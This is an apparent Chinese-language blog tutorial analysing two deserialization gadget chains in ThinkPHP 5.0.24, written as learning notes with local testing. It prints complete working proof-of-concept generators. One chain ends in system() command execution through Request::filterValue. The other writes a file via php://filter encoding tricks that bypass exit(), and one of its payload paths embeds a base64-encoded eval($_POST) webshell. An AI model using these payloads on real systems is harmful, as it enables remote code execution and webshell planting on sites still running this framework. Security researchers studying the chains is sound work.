前言
前几天学习了tp5.1的反序列化链,那么今天就总结一下tp5.0.24链子的构造。总体来说,我觉得tp5.0的链子要比tp5.1的链子复杂一些,在网上也是找了两条不同的链子,一个是通过写文件来 getshell,一个是直接调用函数执行rce,慢慢看吧。
环境搭建的话很简单,直接在github上下载源码解压到www目录下,同样在控制器写一个反序列化入口就可以了。
反序列化链分析
直接开始分析链子,这里有两条链子,先说说执行rce的这条链子吧。
反序列化链执行rce
其实链子的开端和tp5.1的一样,都是通过调用windows类的__destruct方法,继而调用removefile通过属性实例化任意类调用toString()魔术方法,这里调用Model类中的tostring,
但是Model类不能直接实例化,那就实例化继承它的Pivot类。那么这一块的poc为
<?php
namespace think;
abstract class Model{
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
namespace think\process\pipes;
use think\Model\Pivot;
class Windows{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
进入到Model类的tostring方法,继续跟进tojosn,再跟进toArray方法,老套路,不必多说。同样是看toArray方法的关键代码。
?我们的目标是要通过$value->getAttr($attr)来调用call魔术方法。那么就要判断value是否可控,可以发现value的值最终受到append数组键名的影响,那我们就正向分析。
relation的值是直接由name控制,parseName函数仅仅做了格式转换,而name就是aappend键名。继续往下看,
relation的值被当作函数来执行了,并且返回值赋值给modelRelation参数,我们希望这个参数的值是可控的,那么我们就需要调用返回值可控的函数 ,这里我们让relation赋值为getError,
返回的error是可控的,那么现在modelRelation也可控,继续往下走,被作为参数进入到getRelationData函数里,那么继续跟进这个函数。
这里modelRelation就作为了Relation类的对象,我们需要让value为我为我们可控,那么我们需要进入到第一个if里,看能不能满足条件,跟进isselfRelation方法,
可控,那么最后一个判断,getmodel函数是否可控,继续跟进。
这里需要实例化类继续调用返回值可控的这个函数,这里实例化Query类的getmodel函数,
?这样就都可控了,那么进入到if分支里,value的值是直接由parent属性控制,是可控的。回头继续看toArray函数,我们还需要进入到这两个if语句里。
通过放大镜找到OneToOne类中有getBindAttr函数的定义,那么可以让modelRelation去实例化这个类,
但是OneToOne是继承于Relation类的一个接口,不能直接实例化,这里HasOne继承了OneToOne类,那么我们可以实例化这个类。getBindAttr函数的返回值可控,那么第二个if条件也满足了。这样就可以调用call方法了。 这一块的poc为
namespace think;
use think\Model\Relation\HasOne;
use think\console\Output;
abstract class Model{
protected $append = [];
protected $error;
protected $parent;
public function __construct()
{
$this->append = ['getError'];
$this->error = new HasOne();
$this->parent = new Output();
}
}
namespace think\model\relation;
use think\db\Query;
class HasOne{
protected $selfRelation;
protected $query;
protected $bindAttr = [];
public function __construct()
{
$this->selfRelation = false;
$this->query = new Query();
$this->bindAttr = ["aaa"=>"222"];
}
}
namespace think\console;
use think\session\driver\Memcached;
class Output{
}
namespace think\db;
use think\console\Output;
class Query{
protected $model;
public function __construct()
{
$this->model = new Output();
}
}
这样就成功调用了call方法。
?这里调用了block方法,跟进block方法。
继续跟进writeln方法。
套娃一样,继续跟进write方法。
这里调用任意类的write方法。 这里我们调用think\session\dirver里的Mecache类的write方法。
这里又可以调用任意类的set方法,这里我们调用think\cache\Mecache类的set方法,注意重名了,但是不在一个命名空间。
这里跟进has函数,
getCacheKey函数只进行了一个拼接,然后调用任意类的get方法。那么我们就可以调用Request类的set方法。
最后调用经典input方法,这里的this->get和filter都是我们可控的。 进入input方法,最终调用filterValue方法,
调用call_user_func函数来执行命令。这里的value就是this->get,构造最终poc。
<?php
namespace think;
use think\Model\Relation\HasOne;
use think\console\Output;
abstract class Model{
protected $append = [];
protected $error;
protected $parent;
public function __construct()
{
$this->append = ['getError'];
$this->error = new HasOne();
$this->parent = new Output();
}
}
namespace think\model\relation;
use think\db\Query;
class HasOne{
protected $selfRelation;
protected $query;
protected $bindAttr = [];
public function __construct()
{
$this->selfRelation = false;
$this->query = new Query();
$this->bindAttr = ["aaa"=>"222"];
}
}
namespace think\db;
use think\console\Output;
class Query{
protected $model;
public function __construct()
{
$this->model = new Output();
}
}
namespace think\console;
use think\session\driver\Memcached;
class Output{
private $handle;
protected $styles = [
"getAttr"
];
public function __construct()
{
$this->handle = new Memcached();
}
}
namespace think\cache;
abstract class Driver{
}
namespace think\session\driver;
use think\cache\driver\Memcache;
use think\cache\Driver;
class Memcached { //个人认为防止重名
protected $handler;
protected $config = [ //config一定要写全,不然打不通
'session_name' => '', // memcache key前缀
'username' => '', //账号
'password' => '', //密码
'host' => '127.0.0.1', // memcache主机
'port' => 11211, // memcache端口
'expire' => 3600, // session有效期
];
public function __construct()
{
$this->handler = new Memcache();
}
}
namespace think\cache\driver;
use think\Request;
class Memcache{
protected $tag = "haha";
protected $handler;
protected $options = ['prefix'=>'haha/'];
public function __construct()
{
$this->handler = new Request();
}
}
namespace think;
class Request{
protected $get = ["haha"=>'dir'];
protected $filter;
public function __construct()
{
$this->filter = 'system';
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
namespace think\process\pipes;
use think\Model\Pivot;
class Windows{
private $files = [];
public function __construct(){
$this->files = [new Pivot()];
}
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
一些细节上的地方没有细说,因为这个版本很多地方都和tp5.1.37一样。然后在本地打一下payload
测试成功,这一条链子就分析到这。
反序列化链写文件getshell
前面调用tostring函数,调用call函数啥的都跟上一个链子一样。这里就不在赘述。
从think\session\dirver里的Mecache类开始,调用file类的set方法
最下面有file_put_contents函数可以用来写文件。那我们需要看这两个参数是否可控。先看filename,跟进getCacheKey函数。
可以发现后缀名被锁死了,但是name我们还是可控的,所以filename部分可控。如果说data也可控的话,那么就可以写shell了。 通过函数调用链可以发现data是由value控制,继而由sessData控制,最终追述到Output类的writeln方法。
这里为true,被写死了。不能写内容怎么getshell?我们可以继续调用setTagItem函数。
这里又一次调用了set方法,那么看一下key是否可控。很明显,它是由$this->tag控制,可控。那么value呢?由name控制,仔细看传进来的name,它不就是我们可控的filename嘛,那么我们就可以调用file_put_contents来写文件了。注意
拼接字符串的时候我们需要绕过exit();不然会强制退出。那么该怎么绕过呢?
我们可以利用php伪协议来绕过。
如果file_put_contentes() 第一个参数为php://filter/write=string.rot13/resource=555.php的话,php会把文件内容进行rot13编码,然后写入555.php 文件。 那么exit()函数就会被rot13编码写进文件中,成功绕过。从而实现了绕过。但是使用这种方法的payload不能在Windows上使用。但是在Windows环境中我们可以使用这样的payload,
$this->options['path']=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php
windows写文件的这个原理我还不太了解,可以参考这篇文章:Thinkphp5.0反序列化链在Windows下写文件的方法 - 先知社区 (aliyun.com)
最终poc为
<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{
}
class Windows extends Pipes{
private $files=[];
function __construct(){
$this->files=[new Pivot()];
}
}
namespace think;
use think\model\relation\HasOne;
use think\console\Output;
abstract class Model{
protected $append = [];
protected $error;
public $parent;
public function __construct(){
$this->append=["getError"];
$this->error=new HasOne();
$this->parent=new Output();
}
}
namespace think\model\relation;
use think\model\Relation;
class HasOne extends OneToOne{
function __construct(){
parent::__construct();
}
}
namespace think\model;
use think\db\Query;
abstract class Relation{
protected $selfRelation;
protected $query;
function __construct(){
$this->selfRelation=false;
$this->query= new Query();
}
}
namespace think\console;
use think\session\driver\Memcache;
class Output{
private $handle = null;
protected $styles = [];
function __construct(){
$this->styles=['getAttr'];
$this->handle=new Memcache();
}
}
namespace think\db;
use think\console\Output;
class Query{
protected $model;
function __construct(){
$this->model= new Output();
}
}
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation{
protected $bindAttr = [];
function __construct(){
parent::__construct();
$this->bindAttr=["aaa","123"];
}
}
namespace think\session\driver;
use think\cache\driver\File;
class Memcache{
protected $handler = null;
function __construct(){
$this->handler=new File();
}
}
namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver{
protected $options=[];
function __construct(){
parent::__construct();
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgcGhwaW5mbygpOz8+IA==/../ab.php',
'data_compress' => false,//base64字符串为<?php phpinfo();\?\>
];
}
}
namespace think\cache;
abstract class Driver{
protected $tag;
function __construct(){
$this->tag=true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
//
?>
将payload打进去,
可以看到成功写入了文件了。 那么访问这个文件,
能够成功执行命令。那么就可以写木马进去了。
结语
第二条链子要比第一条复杂,涉及到windows下文件名的限制问题。还是要理解原理。
相关链接:
Thinkphp5.0.24 反序列化rce链学习_bfengj的博客-CSDN博客_thinkphp5.0.24
Thinkphp5.0.24反序列化分析和poc - FreeBuf网络安全行业门户
|